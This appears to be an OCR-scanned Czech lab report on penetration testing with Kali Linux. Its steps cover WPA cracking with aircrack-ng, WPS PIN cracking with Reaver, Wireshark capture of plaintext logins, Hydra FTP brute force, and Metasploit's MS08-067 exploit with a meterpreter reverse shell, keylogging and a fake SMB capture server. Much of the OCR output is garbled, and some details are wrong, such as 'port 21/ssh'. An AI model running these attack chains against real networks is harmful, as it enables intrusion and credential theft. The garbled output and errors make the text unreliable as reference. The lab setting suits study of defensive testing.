Brute force attack je technika, ktera se pouziva k odhaleni hesla nebo Sifrovaného
textu prostrednictvim opakovaného pokusu o zadani vSech moZnych kombinaci.
Tento typ dtoku se pouziva, kdyZ neni jind moZnost, jak ziskat pristup.

Takovy utok mize trvat pomérné dlouhou dobu, zvlasté pokud je heslo silné a
obsahuje mnoho znakd.

V Kali Linux jsou 3 nastroje, které umoznuji urok provést



e Hydra
e Medusa

e Aircrack-ng

Pouziti AirCrack-ng (musi podporovat wifi adaptér), pomoci prikazu ,ifconfig“

se provede zjiSténi, jaké jsou dostupné sité.

1. Spusténi ptikazu ,airodump-ng NAZEV ADAPTETRU® tim se naskenuji
dostupné sité.

2. Nasleduje spusténi prikazu ,airodump-ng -c <¢islo kanalu> --
bssid <MAC adresa cilové sité> -w capture file NAZEV SITE"

3. Posledni spustény ptikaz bude ,aircrack-ng -w wordlist.txt -b

<MAC adresa cilové sité> capture file-0l.cap
Timto se provede brute force, ktery vyzkousi vSechna hesla uloZena

v souboru ,, wordlist.txt".

4.2 ,,Port scanning“

Port scanning se pouziva ke zjisténi zranitelnosti sluZeb, které mohou hackeri nebo
analytici ziskat po proniknuti do systému. Jedna se vZdy o prvni krok, ktery hackeri
systému pouZzivaji k nabourani se do sité. Pfi skenovani portd se pouZzivaji dva
protokoly: TCP a UDP. TCP skenovani pouziva jako hlavni metodu skenovani SYN.
Paket SYN je odeslan vytvorenim tzv. spojeni s hostitelem, ktery vyhodnoti odpovéd’
od hostitele. Kromé vyse uvedeného je dalsi metodou, kterd se pouZziva pro
skenovani TCP, skenovani spojeni TCP. Skenovani portli funguje nasledujicim
zplUsobem, nejprve se odesle pozadavek, ktery se pripoji k cilovému pocitaci na
adrese jednotlivych portech a zjistuje, které porty odpovidaji. Uto¢nik miize radéji
zlstat neodhalen, pokud skenovani port pouziva ke skodlivé ¢innosti. Skenovani
SYN mize uzivatele upozornit o portech, které jsou otevicené, a o téch, které ne. To
obvykle zavisi na typu odpovédi, kterou uto¢nik obdrzi. Pro skryti skutecného
zdroje skenovani portti Ize pouzit riizné triky. Uzivatelé proto musi zajistit ochranu
své sité tim, Ze provedou vlastni skenovani porti. Uspésni mohou byt v tomto sméru

tak, ze zjisti, ktery port v jejich siti je otevireny, aby zabranili hackeriim v pristupu



do sité nebo systému. Sluzby nabizené jednotlivymi porty se lisi. Software pro
skenovani porti umi nékolik zakladnich technik. Mezi tyto techniky patii skenovani
vanilky, skenovani SYN, skenovani XMAS a FIN, skenovani FTP Bounce a sweep scan.
Skenovani porti je diilezitym nastrojem, ktery plisobi pfi penetracnim testovani

k posileni zabezpeceni sité a je to cenny nastroj.

4.3 Backdoor

Backdoor je metoda, ktera obchazi ovérovani v softwaru nebo v siti, aniz by doslo k
jejimu odhaleni. Obvykle se vytvoii v siti/systému, aby bylo mozZné kdykoliv
vstoupit do systému ,nepozorované“. ,Zadni vratka“ jsou vytvoirena spravcem
systému, proto je obtizné, aby byl odhalen nebo poznan konkrétnim uzivatelem.
Hackeri vSak mohou systém zadnich vratek vyuzit k ziskani pristupu do systému.
MizZe také oznacovat pristupovy bod v softwarovém programu pro vzdalenou
spravu. Zadni vratka mohou byt chranéna pomoci pevné zakédovaného softwaru,
ktery obsahuje povéreni, jako napt. hesla a uZivatelskd jména, ktera nelze zménit.

Pouziti Backdoor:

1. Vytvori se soubor, ktery bude obsahovat skript napriklad ptrikazem ,nano
backdoor.sh, kde ,nano“ je terminalovy editor, ,backdoor” je nazev souboru
a ,.sh“je pripona.

2. Nyni se skript zedituje tak, aby délal, co je potifeba, aby v budoucnu bylo
mozné soubor vyuzit.

3. Po vytvoreni souboru je potfeba mu nastavit potiebna prava, aby Sel spustit

v budoucnu. To se provede prikazem ,,chmod +x bacskdoor.sh”



”

5 Praktické pouziti

5.1 Uziti Nmap

Cil: Pouzivani Kali Linuxu ve virtualizované laboratoii pomohlo sezndmit se s
riznymi skenovacimi nastroji pouzivanymi pro pasivni a aktivni sbér informaci na
hostiteli neboli ,obéti“. Cilem této ukazky je seznamit se s nastrojem Nmap
(Network Mapper) a jeho pouzitim pro skenovani sité. Nmap je vykonny skener sité,
ktery umoznuje ziskat informace o aktivité sité, zranitelnostech, otevienych portech
a dalsich informacich, které mohou ohrozit bezpecnost sité. V ramci tohoto
experimentu bude ukazano, jak pouzivat Nmap pro skenovani lokalni sité a pro
ziskani informaci o aktivnich zarizenich, operacnim systému a dalsich uzitecnych
informaci.

Predpoklady: Nejprve je potieba provést kontrolu, zda je nastroj Nmap
nainstalovany a kdispozici. VKali Linux je tento ndastroj jiz predinstalovany,
v pripadé, Ze by v systému nebyl, je potieba jej nainstalovat prikazem v konzoli
,sudo apt-get install nmap” Jako dal$ije potfeba znat IP adresu a masku sité,
na které se skenovani bude provadét. To lze zjistit piikazem , i fconfig", ktery ndm

vypiSe stav sité. V nasem piipadé vypadaji informace o siti takto:

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.0.213 netmask 255.255.255.@ broadcast 192.168.0.255
inet6 feB@::1f41:96ef:955e:5418 prefixlen 64 eid 0x20<link>
inet6 2a0 :1900:e300: 4b96:b4c9:bc7a:d447 prefixlen 64 scopeid @x@<global>
ether 00: :88:29 txqueuelen 1000 (Ethernet)

packets 2 bytes 126126 (123.1 KiB)

errors @ dropped 8 ov uns @ frame @

packets 4352 bytes 2 @ (285.7 KiB)

rors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet .0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 6006 bytes 375960 (367.1 KiB)
2 rors @ dropped @ overruns @ frame 0
packets 6006 bytes 375960 (367.1 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Z toho je patrné, Ze IP adresa je 192.168.0.213 a maska 255.255.255.0
Realizace: KdyZ jsou kdispozici vSechny potrebné informace, je mozZné prejit
k samotnému skenovani. To se spusti prikazem ,nmap -sn 192.198.0.0/24"

Parametr -sn urci, Ze hleddme zatrizeni na této siti.



V tomto pripadé byla nalezena 3 zarizeni s IP adresami 192.168.0.1, 101 a 213

Starting Nmap 7.93 ( https
Nmap scan report for 192.168.0.1
Host is up (@.0076s latency)

Nmap
is up (0.0 \
scan report for 192.
is up (0.00041s late
done: 256 IP addresses (3 hosts up) scanned in 2.43 seconds

Pro skenovani porti Ize vyuZit stejny prikaz pouze s parametrem -sV, tedy

,nmap -sV 192.168.0.0/24° vysledek pak v tomto pripadé vypada takto:

Nmap 7.

Host is up (0.038s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
cp open domain dnsmasq 2.
rtsp

:(GenericLines, 1B
:Allow-0r
:nt-Secur

NET-DK/
r(SIPOptions,1BD,"
rol-Allow-Origi

Nmap scan report for 192.168.0.213
Host is up (0.00014s later .

All 1000 scanned ports on 1 68. are in ignored states.
Not shown: 1000 closed tcp ports (con efused)

Z toho Ize odvodit, Ze mame k dispozici porty 80/tcp, 53/tcp a jednu sluzbu, kterou
se nepodarilo identifikovat.

Zavér a vyhodnoceni: Nastroj nmap nabizi vice funkci, pro tento pripad byly
pouzity dva zdkladni prikazy pro skenovanti sité, do které je pocita¢ umistén.
Vysledky tohoto testu, rikaji, Ze pripadné bezpecnostni mezery na této siti mohou
byt porty 53 /tcp, 80/tcp a zatizeni s IP adresami s koncovkou .1,.101 a.213.
Jednou z cest tedy miize byt vydavani se za jedno ztéchto zatizeni pro hlubsi

proniknuti do sité.



5.2 Pouziti Reaver

Reaver je nastroj pro utok na zabezpecenou Wi-Fi sit pomoci prolomeni WPS (Wi-

Fi Protected Setup) PINu.

Cil: Cilem tohoto LABu je sezndmit se s nastrojem Reaver a jeho pouzitim k
prolomeni WPS (Wi-Fi Protected Setup) PIN kéddu u Wi-Fi siti, které pouZzivaji WPS
pro snadnéjsi ptipojeni novych zatizeni. Utok na WPS PIN kéd umoziiuje ziskat
heslo k Wi-Fi siti, coz mizZe mit vdzny dopad na jeji bezpecnost. V ramci tohoto
experimentu si vyzkouSime, jak realizovat itok na WPS PIN pomoci nastroje Reaver.
Predpoklady: Pro tento test je potreba ovérit, zda je nastroj nainstalovany.
V prostiedi Kali Linux je jiz predinstalovany, kdyby nebyl je potieba instalovat
piikazem ,sudo apt-get install reaver”

Dalsi véc, kterd je pro Uspésné prolomeni potieba, je BSSID (MAC adresa) sité, ktera
je dand jako cil. To zjistime pomoci prikazu ,iwlist wlan0O scan”.

Realizace: Prvni krok je spusténi skenovani wifi siti. To se provede pirikazem
,airmon-ng start wlan0”

Samotné spusténi pokusu o prolomeni se provede prikazem ,reaver -i wlanOmon
-b <BSSID -s -v>“stim, ze za BSSID se dosadi MAC adresa, ktera se zjistila
v predchozim kroku. Po spusténi tohoto prikazu nastroj Reaver zacne zkousSet vSech
11000 moZznosti, jaky mtiZe pin byt. Po nalezeni spravného pinu vypise tabulku, viz

niZe, kde zobrazi informace o tom, jak dlouho hledal a jaky pin je.



Switching wlan®@ to channel 6

Waiting for beacon from 70:54:D2:D5:98:E5
Associated with (D
Trying pin 1234567

Sending EAPOL START request

Received identity request

Sending identity response

Received M1 message

Sending M2 message

Received M3 message

Sending M4 message

Received M5 message

Sending M6 message

Received M7 message

Sending WSC NACK

Sending WSC NACK

Pin cracked in 3 seconds

WPS PIN: '1234567 '

WPA PSK:

AP SSID:

Zavér a vyhodnoceni: Vtomto pripadé se tedy podarilo prolomit pin k siti, je
mozné se k ni pripojit a provadét dalsi kroky. Tento nastroj funguje relativné snado
arychle, je vSéem omezen tim, Ze se da pouzit pouze na sité, které maji zabezpeceni

WPS.

5.3 Pouziti Wireshark

Wireshark je jeden z nejrozsifenéjsich nastrojii pro provadéni sniffingu na siti.
Wiresahrk je dostupny pro vice platforem, funguje tedy i ve Windows. V tomto
experimentu vSak bude vyuzito jiZ nastavené prostiedi Kali Linux. Na rozdil od
vétSiny ostatnich nastrojii ma Wireshark i vlastni grafické rozhrani a nezobrazuje se

pouze v konzoli, ale jako samostatné okno s aplikaci.

Cil: Cilem tohoto LABu je sezndmit se s nastrojem Wireshark, ktery je Siroce
pouzivanym nastrojem pro analyzu sitového provozu. Ulelem je naucit se
zachytavat, analyzovat a interpretovat pakety v siti pomoci Wiresharku. V ramci
tohoto LABu si vyzkouSime, jak pouzit Wireshark k analyze provozu v testovaci siti.
Postup: Krom prostiedi Kali Linux, mdme na stejné siti pripojeny i pocitac

s operacnim systémem Windows. Na tomto pocita¢i bude simulované chovani



uzivatele, ktery na siti vyuziva internet a pristupuje k internetovym strankam, které
vyzaduji prihlaSeni. Pro tento LAB se predpoklada, Ze utocnik drive vyuzil nastroj
Nmap a ma ziskané informace o zarizenich v siti, a také Ze vyuzil nastroj Reaver a
pripojil se k této siti, ktera byla zabezpecena pinem.

Nejprve spustime Wireshark prikazem v konzoli ,wireshark®. Zde je pak moZné
vidét nékolik moZnosti. V tomto pripadé se zamérime na volbu ,eth0“ coZ oznacuje
nas sitovy adaptér.

The Wireshark Network Analyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AO A = BR@ @ « >0 «>HWE ooo@
(WAeplyadispiayfitter ... <Ctty B3]+

Welcome to Wireshark

...using this filter: | | Ent re filt '] All interfaces shown ~

ethO
any
bluetoothO
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon
@® Random packet generator: randpkt
@ systemd Journal Export: sdjournal
@ SSH remote capture: sshdump
@ UDP Listener remote capture: udpdump
@ Wi-Fi remote capture: wifidump

User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord
You are running Wireshark 4.0.1 (Git v4.0.1 packaged as 4.0.1-1).

E Ready to load or capture No Packets Profile: Default
Po vybrani a spusténi se zacal odchytavat pohyb na siti, v tomto ptipadé to vypada

takto:

Time Source ] Protocol Length Info

000000000  44.238 192.168.209.128 TCP 60 80 . 53388 PSH, ACK] Seq;

000061201 192.168.209.128 44.238.29.244 54 53308 — 80 [ACK] Seq=1 Ack=2 W. 2780 Len=0@

3 1.807370168 192.168.209.128 44.238.29.244 TCP 54 53320 —~ 80 [FIN, ACK] Seq=1 Ack=1 Win=62780 Len=0

4 1.807853469 44.238.29.244 192.168.209.128 TCP 60 80 . 53320 [ACK] Seq=1 Ack=2 Win=64239 Len=0

5 1.996824097 44.238.29.244 192.168.209.128 TCP 60 80 . 53320 [FIN, PSH, ACK] Seq=1 Ack=2 Win=64239

6 1.996865697 192.168.209.128 44.238.29.244 TCP 54 53320 — 8@ [ACK] Seq=2 Ack=2 Win=62780 Len=0

7 11.414525982 192.168.209.128 192.168.209.2 DNS 79 standard query @xe38e A testasp.vulnweb.com

8 11.420708402 192.168.209.2 192.168.209.128 DNS 95 Standard query response 0xe38e A testasp.vulnweb.

9 11.422845809 192.168.209.128 44.238.29.244 TCP 74 33966 —~ 80 [SYN] Seq=8 Win=64240 Len=0 MSS=1460 S,
10 11.610720621 44.238.29.244 192.168.209.128 TCP 60 80 . 33966 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0
11 11.610834622 192.168.209.128 44.238.29.244 TCP 54 33966 — 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
12 11.611940625 192.168.209.128 44.238.29.244 HTTP 695 POST /Login.asp?RetURL=%2FDefault%2Easp%3F HTTP/1
13 11.612223126 44.238.29.244 192.168.209.128 TCP 60 80 — 33966 [ACK] Seq=1 Ack=642 Win=64240 Len=0
14 11.806714850 44.238.29.244 192.168.209.128 TCP 1474 80 . 33966 [PSH, ACK] Seq=1 Ack=642 Win=64240 Len:
15 11.806753551 192.168.209.128 44.238.29.244 TCP 54 33966 — 80 [ACK] Seq=642 Ack=1421 Win=63960 Len=0
16 11.813057770 44.238.29.244 192.168.209.128 HTTP 2030 HTTP/1.1 200 OK (text/html)
17 11.813145371 192.168.209.128 44.238.29.244 TCP 54 33966 — 80 [ACK] Seq=642 Ack=3337 Win=62780 Len=0



Po spusténi, si imaginarni uZivatel otevrel stranku, kam zadal své prihlaSovaci udaje.
V zachycenych paketech je mozné vidét, Ze dva proslyi pres protokol ,HTTP* a dale
pak Ze v ném byla pouzit metoda POST, to nAm miiZe naznacit, Ze v tomto packetu
nalezneme pro utocnika prinosné informace.

Po dvojkliknuti na tento packet je mozné vidét nékolik fadki s informacemi, které
se daji rozkliknout a dale zobrazit. Po rozkliknuti ,HTML form ENCODED* lze
pozorovat, Ze byl odeslany formular ve webovém prohliZeci. A protoZe ptipojeni na

tuto stranku nebylo zabezpecené, vidime rovnou také pirihlaSovaci udaje.

~ HTML Form URL Encoded: application/x-www-form-urlencoded
» Form item: "tfUName" = "jezek"

» Form item: "tfUPass" = "jezek"

Nyni tedy diky nastoji Nmap vime, kdo zatizeni s touto IP adresou pouziva, a diky
Wireshark, mame jeho piihlasovaci tidaje. Alesponi pro stranku, kde se prihlasoval.
To Ize pak dale vyuzit. NejcastéjSim a nejjednodussim vyuzitim bude vyzkouseni
hesla tfeba do doménového Uctu, nebo jiné internetové stranky.

Zavér a zhodnoceni: V tomto experimentu jsme uspésné zjistili prihlasovaci tidaje
uzivatele. V ramci zabezpecenti sité je tedy moZné tento test provést a zablokovat

vSechny takové stranky, kde by pripojeni nebylo Sifrované.

5.4 Pouziti Hydra

Cil: Cilem tohoto LABu je seznamit se s nastrojem Hydra, ktery je nastrojem pro utok
hrubou silou na autentiza¢ni mechanismy. Ucelem je naucit se pouZivat Hydra k
prolomeni hesel a testovani sitového zabezpeCeni. V ramci tohoto LABu si
vyzkousSime, jak pomoci Hydra provést itok hrubou silou na testovaci autentiza¢ni
mechanismy. Tento konkrétni utok bude zamétren na FTP port 21.

Postup: Vtomto experimentu budou vyuZity poznatky z minulych lab, tj. vime,
jaké jsou oteviené porty, jsme pripojeni na siti a mame odchycené nékteré
prihlasovaci udaje.

Jako prvni je potreba vytvorit dva soubory, pokud jiZ nebyly vytvorené pro jiny
experiment. Vjednom budou uloZené hesla a ve druhém jména, které se nam
podarilo zjistit predchozim zkoumdanim. Pojmenovani souborl zalezi cisté na

utocnikovi, je potieba dodrzet, Ze co radek, to heslo/jméno.



passowrds.txt

users.txt

passowrds.txt users.txt

V tomto prikladu je v kaZzdém souboru pouze 1 radek. Pro pouZiti na realné siti je
potfeba mit soubory zaplnéné maximalnim pocltem moznosti, byly badanim
zjiStény.

Pokud mame vSechny tyto kroky hotové, je mozné prejit k samotnému pokusu o

prolomeni. To se provede prikazem ,hydra -L nazev couboru se jmeny.txt

-P nazev_souboru s hesly.txt <IP adresa hosta> ftp"“.
Nyni nastroj vypise vSechny kombinace prihlaSeni, které jsou mozné.

Pokud Zadna kombinace ze souborti neni spravna vypis konzole bude vypadat takto:

users.txt passowrds.txt 192.168.209.128 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
illegal purposes (this is non-binding, these **x ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-05 13:10:44
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.209.128:21/

[ERROR] all children were disabled due too many connection errors

0 of 1 target completed, 0 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-05 13:10:53

V takovém pripadé je potreba vyuzit dalsi metody ziskani pristupovych udajt, které

se uloZi do vytvotrenych souborti a ptikaz se spusti znovu.

Pokud néktera kombinace ovSem spravna je, vypiSe konzole vSechny moZnosti.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-14 23:55:58

[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ftp://10.0.200.5:21/

[21][ftp] host: 10.0.200.5 login: msfadmin password: msfadmin

[21][ftp] host: 10.0.200.5 login: service password: service

[21][ftp] host: 10.0.200.5 login: user password: user

[21][ftp] host: 10.0.200.5 login: postgres password: postgres

1 of 1 target successfully completed, 4 valid passwords found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-14 23:56:02

(pouze demonstrativni obrazek)

Pokud je nalezena spravna kombinace, je mozné prikazem ,f tp“ provést piihlaseni.
Zavér a zhodnoceni: Pokud se povedl experiment spravné, je mozné nyni operovat
na ftp serveru a postupovat dale do systému. Je tfeba mozné nahradit néktery ze

soubori skriptem, ktery pak uzivatel p¥i pristupu k tomuto souboru spusti.



5.5 Pouziti Metasploit

Metasploit je vykonny nastroj pro penetracni testovani a vyuzivani zranitelnosti v
systému. Pri spravném pouzivani je Metasploit vynikajicim nastrojem pro zlepSeni
zabezpeceni a odhaleni slabych mist v systémech.

Metasploit nabizi nékolik modulti, které maji rtizné vyuziti. V tomto experimentu se
budou pouzivat pouze moduly, diky nimZ je moZné provadét sniffing ¢i spoofing.
Predpoklady: Nainstalovany Metasploit, v prostiedi Kali Linux je jiz
predinstalovany. V experimentu se vyuziji informace drive zjiSténé pres nastroj
Nmap.

Cil: Cilem téchto LABU je demonstrovat pouZiti nastroje Metasploit pro proniknuti
do sité pomoci techniky sniffing a spoofing. Ucelem je sezndmit se s témito
technikami a pochopit, jak mohou byt zneuzity pro ucely kontroly zabezpeceni. V
ramci téchto LABU bude demonstrovano, jak pomoci Metasploit provést utoky typu
"sniffing" a "spoofing" na testovaci sit.

Realizace: Jako prvni je potreba spustit ptrikaz ,msfconsole” ktery spusti nastroj

samotny.

auxiliary - 404 post
+ — --=[ 9 evasion

Metasploit tip: Enable verbose logging with set VERBOSE

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliaryl]




1) Sniffing
Po spusténi je potieba vybrat samotny modul, ktery se bude pouZivat, vtomto
pripadé ,use auxiliary/sniffer/psnuffle”. Poté se spusti odchytavani

prikazem ,set INTERFACE <n&azev sité> run”

msfé auxiliary( ) > run
Auxiliary module running as background job 1.

Loaded protocol FTP from /fusr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb..
Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb

Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb

msfé auxiliary( ) > Loaded protocol SMB from /usr/share/metasploit-framew
ork/data/exploits/psnuffle/smb.rb...
Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb..

Sniffing traffic
Timto zplisobem je mozné ziskat idaje /hesla, které putuji po této siti nezasifrovana.

Pro toto jsme ale drive uzili nastroj Wireshark.

2) Keylogging

Jednou z dalSich metod odchytavanim informaci mize byt keylogging, to znamenj,
ze jakykoliv input bude uZzivatel zadavat do klavesnice, bude utocnik odchytavat do
souboru, a nasledné bude moci identifikovat dilezZité informace.

Pro uUspésné provedeni tohoto experimetu je potfeba mit jiz pristup ksiti, a
informace o pocitacich na této siti. K tomu byly predtim pouZity nastroje Nmap a
Reaver.

Jako prvni krok si vyhledame ,search ms08-67% zde vidime exploit, ktery

pouzijeme.

6 > search ms08_067

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/windows/smb/mMS@87067 netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example inf , use or use exploit/windows/smb/ms@8_067 netapi
msf6 >
msf6 > use @
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( >

Piikazem ,use 0“ vybereme ten jediny, ktery mame k dispozici. Kdyby jich bylo ve

vybéru vice, pouzijeme cislo toho, ktery chceme pouzit. Dale nestavime ,rhost” na IP



adresu cile, a to prikazem ,rhost <IP adresa>"“. Nasledné je mozné pouzit
prikaz ,run”.
Nyni je moZné vidét, Ze byla navazana session s cilem. Konkrétné IP adresa

192.168.204.128 na adresu 192.168.204.132.

msf6 exploit( ) > run

Started reverse TCP handler on 192.168.204.128:4444
192.168.204.132:445 - Automatically detecting the target ...
192.168.204.132:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English

192.168.204.132:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
192.168.204.132:445 - Attempting to trigger the vulnerability ...

Sending stage (175174 bytes) to 192.168.204.132

Meterpreter session 1 opened (192.168.204.128:4444 — 192.168.204.132:1040 )

V dal$im kroku je potieba zjistit ID procesu explorer.exe. To se provede napiiklad

tak, Ze se v session spusti vypis ,ps”, ktery zobrazi vSechny spusténé procesy.

RV
g.exe
NT AUTHORITY\SYSTEM C:\WINDOWS\system32\s
poolsv.exe
NEWBIE-7487DB85\Newb C:\WINDOWS\Explorer.E

1400 668 spoolsv.exe

1576 explorer.exe
I

1752

1756

1764

1912

1624

1624

1624

668

meterpreter

cmd.exe
rundll32.exe

vmtoolsd.exe

svchost.exe

> 1

ie
NEWBIE-7487DB85\Newb
ie
NEWBIE-7487DB85\Newb
ie
NEWBIE-7487DB85\Newb
ie

NT AUTHORITY\LOCAL S
ERVICE

XE
C:\WINDOWS\system32\c
md.exe
C:\WINDOWS\system32\r
undll32.exe
C:\Program Files\VMwa
re\VMware Tools\vmtoo
1sd.exe
C:\WINDOWS\system32\s
vchost.exe

Po nalezeni ID procesu je mozné spustit ,migrate <ID procesu>".

meterpreter > migrate 1624

Migrating from 1028 to 1624 ...

Migration completed successfully.

Nyni I1ze zobrazit nabidku moZnosti ,he1p, je mozné vidét mnoho moZnosti, co se

da spustit. V tomto ptipadé je dlileZity ,keyscan start™
meterpreter > keyscan_start
Starting the keystroke sniffer ...

meterpreter >

Nyni je spustény naslouchac a uklada se vSe zadané do klavesnice. Pro vypis toho,

v 7

co se uloZilo, je moZné spustit prikaz ,keyscan_dump®. Tim se vypisi vysledky. Nyni

musi utocnik zhodnotit, zda uzivatel zadal informaci, kterou by mohl dale vyuZit.



Zavérem lze Fict, Ze tento experiment byl Uspésny, skenovani inputli do klavesnice
miiZe byt uZitetné, nicméné nepiehledné, pokud je skenovani zapnuté cely den,
pravdépodobné, Ze se uzivatel nékam prihlasi (pokud nema hesla uloZena a
neprihlasuje se automaticky), ale bude casové naro¢né takovou informaci najit. Tato

metoda je tedy spiSe vhodn4, kdyZ dtocnik vi, co hleda.

3) Spoofing port 445/smb
Pro demonstraci spoofingu pouZijeme modul

yuse auxiliary/server/capture/smb"

msf6 auxiliary( ) > run
Auxiliary module running as background job 0.

Server is running. Listening on 0.0.0.0:445
Server started.

Pokud jsme v tomto modulu, miizeme spustit piikazem ,run”.
Tim metasploit vytvori faleSny SMB server, ktery bude reagovat na pozadavky
uzivateld. Po zahajeni komunikace uzivatele se serverem bude moZné bud

odchytavat obsah komunikace, nebo zaslat faleSnou zpravu.

4) Port 21/ssh

Za predpokladu, Ze jsme si jiZ predtim pres nastroj Nmap zjistili vSechny oteviené
porty, miZeme provést utok na dal$i z nich. V tomto experimentu to bude port
21/ssh.

Jako prvni je potieba sputit metasploit ptikazem v konzoli ,metasploit”

Nyni je potifeba vybrat modul, pres ktery budeme operovat. Pti zadani prikazu ,use

auxiliary/ssh”se nam vypiSe seznam dostupnych modult.



Matching Modules

Rank

# Name Disclosure Date Check

Description

0 auxiliary/scanner/ssh/apache_karaf_command_execution 2016-02-09 normal No ache Karaf Default Credentials
Command Execution
1 @auxiliary/scanner/ssh/karaf_login
2 auxiliary/scanner/ssh/cerberus_sftp_enumusers
Enumeration
3 auxitiary/scanner/ssh/eaton_xpert_backdoor
Exposure Scanner
auxitiary/scanner/ssh/fortinet_backdoor
auxiliary/scanner/ssh/juniper_backdoor
auxiliary/scanner/ssh/detect_kippo
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/ssh/ssh_identify_pubkeys
auxiliary/scanner/ssh/ssh_login_pubkey
auxiliary/scanner/ssh/ssh_enumusers
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/ssh/ssh_enum_git_keys
auxiliary/scanner/ssh/libssh_auth_bypass

normal No
normal No

Apache Karaf Login Utility
2014-05-27 Cerberus FTP Server SFTP Username

2018-07-18 normal Eaton Xpert Meter SSH Private Key
2016-01-09

2015-12-20

Fortinet SSH Backdoor Scanner
Juniper SSH Backdoor Scanner
Kippo SSH Honeypot Detector

SSH Login Check Scanner

SSH Public Key Acceptance Scanner
SSH Public Key Login Scanner

SSH Username Enumeration

SSH Version Scanner

Test SSH Github Access

libssh Authentication Bypass Scan

normal
normal
normal
normal
normal
normal
normal
normal
normal

2018-10-16 normal

Interact with a module by name or index. For example

msf6 > use auxiliary/scanner/ssh/ssh_login
Vtomto piipadé vyuZijeme ,ssh_login“, vstoupime tedy do néj ptikazem ,use

ssh login“ Nyni zadani ,show options“ se zobrazi moznosti.

po

Module options (auxiliary/scanner/ssh/ssh_login):

Name
BLANK_PASSWORDS
BRUTEFORCE_SPEED
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING

PASSWORD
PASS_FILE
RHOSTS

RPORT
STOP_ON_SUCCESS
THREADS
USERNAME
USERPASS_FILE
USER_AS_PASS
USER_FILE
VERBOSE

View the full module

Current Setting

false
5
false
false
false
none

info with the

Required

no

Description

Try blank passwords for all users

How fast to bruteforce, from @ to 5

Try each user/password couple stored in the current database

Add all passwords in the current database to the list

Add all users in the current database to the list

Skip existing credentials stored in the current database (Accepted: none, us
er, userg&realm)

A specific password to authenticate with

File containing passwords, one per line

The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/
Using-Metasploit

The target port

Stop guessing when a credential works for a host

The number of concurrent threads (max one per host)

A specific username to authenticate as

File containing users and passwords separated by space, one pair per line
Try the username as the password for all users

File containing usernames, one per line

Whether to print output for all attempts

command.

Zde je potreba upravit par véci. Prvni z nich je, Ze ,pripojime“ soubory, ve kterych
mame uloZené uZivatelské jména a hesla. Tento soubor je potieba si vytvorit ru¢né

a ulozit. To se provadi pfikazem ,set nazev moznosti cesta/k/souboru®



iliary( ) > set user_file users.txt
users.txt
C ) > set userpass_file passowrds.txt
userpass_file = passowrds.txt
msf6 auxiliary( ) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Settin Required Description

BLANK_PASSWORDS false Try blank passwords for all users
BRUTEFORCE_SPEED 5 How fast to brutefo from 0 to 5
DB_ALL_CREDS false Try each user/password couple stored in the current database
DB_ALL_PASS false Add all passwords in the rent database to the list
DB_ALL_USERS false Add all users in the rent database to the list
DB_SKIP_EXISTING none Skip existing credentials stored in the current database (Accepted: none, us
er, user&realm)
PASSWORD A specific password to authenticate with
PASS_FILE File containing passwords, one per line
RHOSTS The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/
Using-Metasploit
RPORT 2 The target port
STOP_ON_SUCCESS  false Stop guessing when a credential works for a host
THREADS 1 The number of con 1t threads (max one per host)
USERNAME A specif isername to authenticate as
USERPASS_FILE passowrds. txt n File containing users and passwords separated by space, one pair per line
USER_AS_PASS false Try the username as the password for all users
users.txt File conta ng usernames, one per line
false Whether to p t output for all attempts

View the full module info with the info, or info -d command.

msf6 auxiliary( M |

Na obrazku je mozné vidét, Ze jsme nastavili soubory k hesllim i jméntim, a prii

dal$im vypisu ,show options“jejiz vidime pripojené.

Dale co je potreba nastavit [P adresu hosta, to se provede prikazem ,set rhost
<IP adresa hosta>“. Obecné vcelém prostredi Metasploit plati, Ze rhost
oznacuje remote host, a lhost local host, vZdy tyto parametry budou mit nastavenou
IP adresu podle toho, jaky je typ utoku a co je cil prolomit.

Posledni véc, kterou je dobré nastavit (ale neni to podminka pro spusténi) je
moZnost ,STOP_ON_SUCCES". Defaultné je tato hodnota nastavena na ,false“, toto
nastaveni ovliviiuje, zda bude metasploit hledat dalSi pristup, pokud nalezne jeden.
